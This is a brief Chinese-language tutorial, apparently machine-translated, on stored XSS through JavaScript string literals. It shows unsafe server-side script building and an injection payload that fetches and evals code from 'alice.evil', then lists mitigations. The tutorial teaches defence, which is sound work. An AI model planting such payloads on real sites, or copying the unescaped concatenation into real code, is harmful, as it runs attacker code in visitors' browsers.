來自 JavaScript 字串文字的持久跨站指令碼
假設 Bob 擁有一個允許你釋出公共訊息的網站。
訊息由一個如下所示的指令碼載入:
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
addMessage
函式向 DOM 新增發布訊息。但是,為了避免使用 XSS,釋出的郵件中的任何 HTML 都會被轉義。
該指令碼在伺服器上生成如下:
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
因此愛麗絲髮布了一條訊息:My mom said: "Life is good. Pie makes it better. "
。比預覽訊息時,她沒有看到她的訊息,而是在控制檯中看到錯誤:
Uncaught SyntaxError: missing ) after argument list
為什麼?因為生成的指令碼如下所示:
addMessage("My mom said: "Life is good. Pie makes it better. "");
這是一個語法錯誤。比愛麗絲帖子:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
然後生成的指令碼如下所示:
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
這會新增訊息 I like pie
,但每當有人訪問 Bob 的網站時,它也會下載並執行 https://alice.evil/js_xss.js
。
減輕:
- 傳遞釋出到
JSON.stringify()
的訊息 - 而不是動態構建指令碼,而是構建一個純文字檔案,其中包含稍後由指令碼提取的所有訊息
- 新增內容安全策略 ,拒絕從其他域載入活動內容